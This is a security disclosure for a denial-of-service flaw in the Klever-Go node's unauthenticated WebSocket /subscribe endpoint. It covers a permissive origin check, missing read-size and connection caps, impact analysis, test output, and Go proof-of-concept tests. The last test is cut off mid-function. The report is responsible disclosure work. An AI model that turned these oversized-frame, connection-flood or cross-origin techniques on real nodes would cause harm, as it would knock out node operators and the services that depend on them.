Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)

Root-cause excerpts (commit 23b74e1):

network/api/websocket/routes.go

var upgrader = gorilla.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		return true                      // GAP #1: any origin accepted
	},
}

func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
	conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
	if err != nil {
		log.Error(subscribeOp, "err", err.Error())
		return
	}
	go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}

func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
	// no conn.SetReadLimit(...) anywhere (GAP #2)
	_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
	var req subscribeRequest
	if err := conn.ReadJSON(&req); err != nil { ... }      // unbounded read
	_ = conn.SetReadDeadline(time.Time{})                  // deadline cleared
	...
	client := websocket.NewClient(conn, hub)
	hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}

websocket/websocket.go — HandleClientInsertion inserts every address with no length cap:

for _, address := range addresses {
	if _, ok := h.addressSubscription[address]; !ok {
		h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
	}
	...
}

websocket/client.go — loopIn reads with no size limit and no deadline:

for {
	messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
	...
}

Preconditions

• The node's REST API must be reachable by the attacker. Two realistic deployment shapes:
  • (a) Operator-exposed API — --rest-api-interface :8080 / 0.0.0.0:8080. This is the standard configuration for public RPC and observer infrastructure (the kind Klever itself operates at node.klever.org / api.klever.org). Here the attacker reaches /subscribe directly over the network with no further conditions.
  • (b) Cross-origin browser drive-by — default bind is localhost:8080 (common/facade/nodeFacade.go DefaultRestInterface = "localhost:8080"). Because CheckOrigin returns true (GAP #1), any website an operator visits can open ws://localhost:8080/subscribe from the victim's browser and drive GAP #2 (single oversized frame) and GAP #3 (many connections) without the API being network-exposed at all.
• /subscribe is open: true in the default config/node/api.yaml; isSubscriptionRouteEnabled returns true and the route + hub are wired unconditionally in RegisterRoutes.
• /subscribe is NOT listed in endpointsThrottlers (config/node/config.yaml), so it has no per-endpoint goroutine cap.
• No authentication, no on-chain account, no stake, no attacker-created asset is required.

Impact (distributed by gap and by blast radius)

This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.

Impact A — Single-frame heap exhaustion (GAP #2, the cleanest primitive)

• One unauthenticated connection sends ONE WebSocket frame; with no SetReadLimit, gorilla buffers the entire frame in memory before the JSON is even parsed. Frame size scales the allocation linearly, so one connection can drive a multi-GB allocation.
• Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).
• No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized message is not meaningfully throttled.
• Result: OOM-kill of the node process from a single connection.

Impact B — Connection / goroutine exhaustion (GAP #3, fan-out)

• Live WS connections are not counted by the gin global throttler (its slot is freed at the HTTP→WS upgrade), and there is no per-IP or hub-level connection cap.
• Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows linearly with attacker effort from a single source, with no ceiling.
• Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.

Impact C — Unbounded subscription-map growth (GAP #3, per-connection memory)

• req.Addresses is uncapped, and HandleClientInsertion inserts every entry into the hub's addressSubscription map. ONE connection submitting N attacker-controlled address strings grows the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.
• Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable with Impact B (many connections × many addresses) for multiplicative memory pressure.

Impact D — Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)

• Because CheckOrigin is always true, Impacts A–C are reachable from a victim's browser even when the API is bound to localhost and never exposed to the network. A node operator who simply visits a malicious page can have their own node driven into Impact A/B/C from inside their browser.
• Result: the localhost-bind "mitigation" does not hold against a web-drive-by attacker.

Blast-radius note (applies to all of the above)

• The REST/WS API runs in the SAME process as the node (ws.Run(...) in network/api/api.go). OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the RPC surface. For a public RPC/observer node this is an availability break for every downstream wallet/explorer/service; repeated across many nodes it degrades overall network availability.

Exploit Cost / Attack Complexity

• Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.
• Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps, so it does not depend on a race or on a specific node version beyond the affected range.

PoC-Result

Two complementary PoCs were executed against the REAL production code at commit 23b74e1. All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.

Result 1 — Unit PoC: unbounded addressSubscription growth (Impact C)

Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client submitting 200,000 attacker-controlled address strings.

$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN   TestPoC_UnboundedAddressSubscriptionGrowth
    zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
    zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok  	github.com/klever-io/klever-go/websocket	0.092s

Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.

Result 2 — End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)

Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened" A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.

$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN   TestE2E_Gap1_EvilOriginAccepted
    zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
    zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN   TestE2E_Gap2_NoReadSizeLimit
    zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
    zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN   TestE2E_Gap3_NoConnectionCap
    zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok  	github.com/klever-io/klever-go/network/api/websocket	1.866s

Interpretation:

• GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin drive-by reach, including to localhost-bound nodes.
• GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects it with close 1009. → one connection scales to a multi-GB allocation.
• GAP #3 (Impact B): 300 > the configured global cap of 100 simultaneous requests were ALL accepted as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not bound live WS connections; growth is linear and uncapped.

Production-safety note on the PoC

Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.

PoC-Source

Two self-contained Go tests reproduce the finding against the unmodified production code. Both use only the repo's own go.mod dependencies (gin + gorilla, already required) and the real network/api/websocket + websocket packages. No external services.

Scenario

• PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process client, call the REAL SocketHub.HandleClientInsertion with 200,000 attacker-controlled address strings, and assert the hub's addressSubscription map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero network setup.
• PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler: gin.New() + the production wsapi.SubscribeTopics(engine, hub) + websocket.NewHub(...) + hub.StartServer(ctx) on a 127.0.0.1:0 listener, then drives it with a real gorilla WS client. A "hardened" mirror server (strict CheckOrigin + SetReadLimit(1 MiB)) is the A/B control that proves each missing control is the root cause:
  • Gap1 test: dial with Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403).
  • Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB), control closes with 1009 (message too big).
  • Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn), proving the gin global cap of 100 is not enforced on live WS.

How to run

1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod; verified locally on go1.26.3 at commit 23b74e1.)
2. Save PoC 1 as websocket/poc_ws_unbounded_subscription_test.go and run: go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
3. Save PoC 2 as network/api/websocket/e2e_ws_dos_test.go and run: go test ./network/api/websocket/ -run TestE2E_Gap -v (The three TestE2E_Gap* subtests can run together; each starts its own loopback server.)

• Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at a production node.

Full PoC source 1 — websocket/poc_ws_unbounded_subscription_test.go

// Target component:    klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type:  Uncontrolled resource consumption (CWE-770) — unauthenticated remote
//                      memory/goroutine exhaustion of the node process via the WS API.
// Scope note:          The REST API runs IN-PROCESS with the node, so OOM kills the whole node
//                      (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
//   1) gorilla Upgrader has CheckOrigin -> always true (any origin).
//   2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
//      can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
//   3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
//      released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
//      after `go processSubscription`), so live WS connections are NOT counted by the
//      100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
//      channel, and there is no per-connection cap on req.Addresses, so the hub's
//      addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket

import (
	"fmt"
	"testing"

	"github.com/klever-io/klever-go/indexer"
)

func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
	hub := NewHub("", "", nil)
	c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}

	const n = 200000
	addresses := make([]string, n)
	for i := 0; i < n; i++ {
		addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
	}
	hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)

	hub.mu.RLock()
	got := len(hub.addressSubscription)
	hub.mu.RUnlock()

	t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
	if got != n {
		t.Fatalf("expected unbounded growth to %d, got %d", n, got)
	}
	t.Logf("VULNERABLE: no cap on per-connection address count")
}

Full PoC source 2 — network/api/websocket/e2e_ws_dos_test.go

package websocket_test

import (
	"context"
	"net"
	"net/http"
	"runtime"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	gorilla "github.com/gorilla/websocket"

	wsapi "github.com/klever-io/klever-go/network/api/websocket"
	hubpkg "github.com/klever-io/klever-go/websocket"
)

// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
	ctx, cancel := context.WithCancel(context.Background())
	go hub.StartServer(ctx)
	wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration

	ln, err := net.Listen("tcp", "127.0.0.1:0")
	if err != nil {
		t.Fatal(err)
	}
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
	return ln.Addr().String(), stop
}

// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
		return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
	}}
	engine.GET("/subscribe", func(c *gin.Context) {
		conn, err := up.Upgrade(c.Writer, c.Request, nil)
		if err != nil {
			return
		}
		conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
		go func() {
			defer conn.Close()
			for {
				if _, _, err := conn.ReadMessage(); err != nil {
					return
				}
			}
		}()
	})
	ln, _ := net.Listen("tcp", "127.0.0.1:0")
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}

func bigValidSubscribeJSON(addrBytes int) []byte {
	// valid subscribe frame: one giant attacker-controlled address string
	return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}

// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()
	hardAddr, stopHard := startHardenedSubscribeServer(t)
	defer stopHard()

	hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}

	cReal, r